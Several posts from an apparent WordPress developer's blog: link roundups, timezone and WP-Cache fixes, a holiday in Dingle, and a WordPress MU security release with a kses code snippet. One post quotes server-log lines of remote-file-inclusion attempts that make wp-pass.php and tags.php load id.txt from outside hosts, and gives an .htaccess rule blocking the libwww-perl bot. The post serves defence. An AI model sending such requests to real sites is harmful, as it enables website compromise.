Donncha's Tuesday Links

There’s nothing like the laughter of your baby to perk up one’s morning after a bank holiday weekend!

What time is it WordPress?

Daylight Saving Time (DST) kicked in this morning in Ireland, the UK and many other parts of the world when the clocks went back 1 hour. The US is next week from what I remember. If your server is using UTC time, check Options->General, the “Times in the weblog should differ by” textbox in your blog and adjust accordingly!

wordpress-time.png

Here’s a discussion on the WordPress.com forums about the issue from last year and I found this extend idea that has already been implemented in the Time Zone plugin, but it only works on UNIX-like systems and if you’re not using PHP’s safe mode.

PHP5 has the date_default_timezone_set function, but not enough hosts are using PHP5 to make that a universal choice. It would be nice if all this was done automatically, but hopefully with the further adoption of PHP5 that will happen eventually.

And don’t forget to check your other gadgets, especially digital cameras. I doubt many of them know anything about timezones!

Donncha's Saturday Links

A mixed bag, from germs and bugs to splogs and chocolate tasters.

  • Grannymar reminds us germs lurk everywhere. I’m always careful in public toilets, but it never occurred to me how bug-ridden ATMs are!
  • wp-hashcash works pretty well as an anti-comment spam tool. Make sure you have curl installed before installing it. Now, will someone adapt it for use on WordPress MU’s signup form, or maybe even the Write Post form? Might put a dent in the sploggers efforts to ruin our sites.
  • I forgot to mention yesterday, Donal lives here. Well done on the move bro! Great party last night!
  • Amid concerns that WiFi signals cause cancer, threaten the environment or cause nuclear meltdowns, this tshirt should come in useful.
  • An oldie, If architects had to work like programmers… via Barry.
  • The perfect job, taste testing dark chocolate. Conor says it’s to assess it’s value for money! Oh the poor guy.
  • Yahoo comes to Ireland but can they ever beat Google again? Does anyone care?
  • Not Drupal, WordPress MU – using WordPress MU instead of Drupal in a school environment and authenticating against Active Directory. He’s got a few niggling problems still, but it’s looking good. Anyone have other WordPress MU success stories to share?
  • Mark takes me back with this blog post about Wizball including the great soundtrack!

Donncha's Friday Links

Links are back, for now

  • Stumble Crumble displays your Stumbled links in your sidebar.
  • GRAMPS – open source geneology software for Linux and Windows and can be compiled on Mac OS X, FreeBSD and Solaris too. Via an Irish blogger, can’t remember who, comment and I’ll update the post! Via James Galvin, thanks for commenting!
  • Thanks Photub for linking to the GIMP lomo plugin I released a few days ago.
  • Remember LOLcats? Now there’s LOLCode.net. Will someone write a PHP interpreter/compiler? Thanks Alex!
  • Holy Shmoly! is now Gravatar enabled, although I haven’t signed up myself yet. Must see to that this morning. Enabling it on WordPress is really easy. Yes of course, Automattic own Gravatar now.
  • The blogroll update (homepage) plugin opened my eyes. I didn’t know how the “last updated” field in WordPress links was updated, but there’s a file called update-links.php which can be called from Cron to interrogate Pingomatic. Unfortunately api.pingomatic.com is down and Weblogs.com seems crap so I’m going to patch the blogroll update plugin to use Simple Pie to grab my blogroll’s feeds once a day.
  • Why do I have all my best ideas when away from the computer? I need a waterproof pad for the shower…

Update – Ryan says WordPress 2.3.1 will be out soon. Expect the new WordPress MU shortly after. There are enough security and bug fixes in .1 to make waiting worthwhile.
Update 2 – api.pingomatic.com is back up and running thanks to Barry. Must get that plugin working over the weekend and finish adding sites to my blogroll.
Update3 – api.pingomatic.com still seems to be causing problems. It returns “XML-RPC server accepts POST requests only.” when update-links.php queries it, even though the query is a POST request. WordPress 2.3.1 went live a few hours ago! Time to upgrade, there are important bug fixes in there!

Life after Text Link Ads

Hi, my name is Donncha and I used to have text-link-ads on my blog. They’re gone now but only after Google slapped me into submission and reduced my page rank to 4. Initially I felt angry and shocked that this happened but I have no excuse, I heard it from the horses mouth, I knew it was coming. I was one of those evil unscrupulous demons who manipulated the pagerank of other sites for money. My guilty conscience is somewhat alleviated by the fact that I refused to show a text link ad for a Viagra spammer yesterday morning. Oh well.
Google’s own advertising, Adsense, is still running here, as is Kontera, (leave a comment and you’ll never see them, isn’t that nice?) and the competitive ad filter advice I gave out a few days ago really makes a difference to your bottom line. Just ask Justin!

What’s in store for the future? Keep an eye on this blog. WordPress MU 1.3 is coming real soon now. There are going to be lots more free and GPLed WordPress plugins, including a pretty cool digg proof cache that also works in WordPress MU. Think of it as WP-Cache on afterburner! A couple of sites are already testing it with positive results. I’m watching the access_log roll by on a server as a digg is happening now. Load average is hovering around 1 and the page loads quickly. Sweet.

Howto: WP-Cache and protected posts

If you use protected posts on your WordPress blog you may have noticed that WP-Cache doesn’t cache those password protected posts properly. I didn’t know this, but James Farmer did so I went looking and found a fix.

In the plugins/wp-cache/ directory, open wp-cache-phase1.php in your favourite text editor and look for the following line:

if (preg_match(“/^wordpress|^comment_author_email_/”, $key)) {

Replace that line with this one:

if (preg_match(“/^wp-postpass|^wordpress|^comment_author_email_/”, $key)) {

Save and upload the file if necessary and clear your cache. Password protect posts should be cached properly now!

Ironically, this post wasn’t being cached by WP-Cache because the url contains the string “wp-“. Here’s how to fix that bug. Open wp-cache-phase2.php and look for the following line:

if (strlen($expr) > 0 && strstr($uri, $expr))

Change it to read:

if (strlen($expr) > 0 && substr( $uri, 1, strlen($expr) ) == $expr )

Phew. This post is now cached.

Keep the libwww-perl bots out

If you look through your server logs you’ll probably notice more than a few requests like these:

GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805”
GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805”
GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805”
GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579”

If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. On a WordPress site this file should already be there if you’re using fancy permalinks.

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} libwww-perl.*
RewriteRule .* – [F,L]

Change “RewriteBase /” to suit your own base directory.

There are other bad guys out there. This page has a long list of rewrite rules to keep out all sorts of bots! I haven’t looked through them myself so YMMV if you try them.

This has the added benefit of reducing load on your server. WordPress sites are dynamically generated. This is great under normal circumstances but when you get a flood of requests it can place an unnecessary load on your site. WP-Cache helps a lot but these rules will stop them dead at the front door!

PS. ‘Course, if you depend on a libwww-perl application then don’t add this rule or you may give yourself a headache trying to figure out why things stopped working!

Back from Dingle

Oh wow! We really have a beautiful country here in Ireland! We are just back from a week in the town of Dingle, Co. Kerry (or An Daingean as it’s officially known, why can’t they have both English and Irish names on the signs? It’s silly. Locals stencilled “Dingle” on many of the signs anyway!) and it was both amazing and refreshing. 7 days without Internet access. Could you survive? I admit I was tempted by the local net cafe but I resisted and we wandered the roads and explored the beaches of that rugged coastline instead.

Weather is always a concern in Ireland and it rained and it poured and gales blew for the first 2 days of our stay. Thankfully that completely changed for most of the remainder of the week and the blue skies were filled with white fluffy clouds casting shadows on the distant mountains. Breathtaking.

Bringing a 23 week old baby away on holiday does present it’s own difficulties but Adam enjoyed himself and made a huge impression on everyone he met. He was generally well behaved while out, and I have to thank the kind staff of the Old Smokehouse Restaurant for their patience as we made 2 trips there with him. On the other hand, the grumpy floor manager of the “Happy Garden Palace” up the street didn’t live up to his establishment’s name. Nice Kung Po though.

Photos will appear in time but tomorrow we’re going to head down to Kinsale for a look at Haydn’s Kinsale Gallery where some of my work is on display. Adam’s been down there already and now it remains to be seen whether any of the pieces attracts a buyer or not. Thanks Damien for mentioning the gallery too!

In other news, WordPress 2.3 came out and I need to upgrade my blogs. WordPress MU will need to be synced with the new release but it will also need a separate upgrader. Upgrading one blog and adding 3 tables is simple, but when you need to do tens of thousands (or millions) of them, you don’t want all of them doing it at the same time or your database server will melt.

Oh, and not one person mentioned the All Ireland. 🙂

Update on Sunday: Jacinta and I visited the gallery today and we’re impressed! Haydn’s son was taking care of the shop and I noticed a number of the larger prints had sold a couple of copies. Two of my images are visible behind the door if you look carefully at the second image: Innovative Streets and Rusted and Abandoned.

Gallery ICA

Gallery ICA

Gallery ICA

WordPress MU 1.2.5

A new release of WordPress MU, the multi-user, multi-blog version of WordPress is now available.

This is a security release to address issues brought to our attention by Alexander Concha who I must thank for his unfailing patience while we sorted out this release.

Edit: this release is based on WordPress 2.2.3. Unfortunately a last minute bug crept in where post titles looked like post slugs when viewed on your blog. I quickly rolled together a new minor release, 1.2.5a which has an updated wpmu-functions.php. The download page has been updated too. If you have already updated your install, all you have to do is go to this page and download a new wpmu-functions.php and place it in your wp-includes directory. Apologies for the mix up!

Edit 2: I forgot to mention yesterday that a lot of the functions that were in the files in mu-plugins/ have been moved into wp-includes/wpmu-functions.php so move those files out of the way if you get errors about functions already existing. As stated previously on the forum, kses.php is synced with the one in WordPress which means class and id will be stripped from posts. If you’re happy for your users to use the class and id tag attributes then the following function will come in handy. Put it in mu-plugins/kses.php where it will be activated automatically.

function addabitofclass( $tags ) {
    global $allowedposttags;
    foreach( $allowedposttags as $tag => $attr ) {
        $attr[ 'class' ] = array();
        $attr[ 'id' ] = array();
        $allowedposttags[ $tag ] = $attr;
    }
    return $allowedposttags;
}
add_filter( 'edit_allowedposttags', 'addabitofclass' );

The observant among you will notice I forgot to assign the result of the filter in wp-includes/kses.php. This has since been fixed but it was too late for this release. Making it a global in the function above was a suitable work around.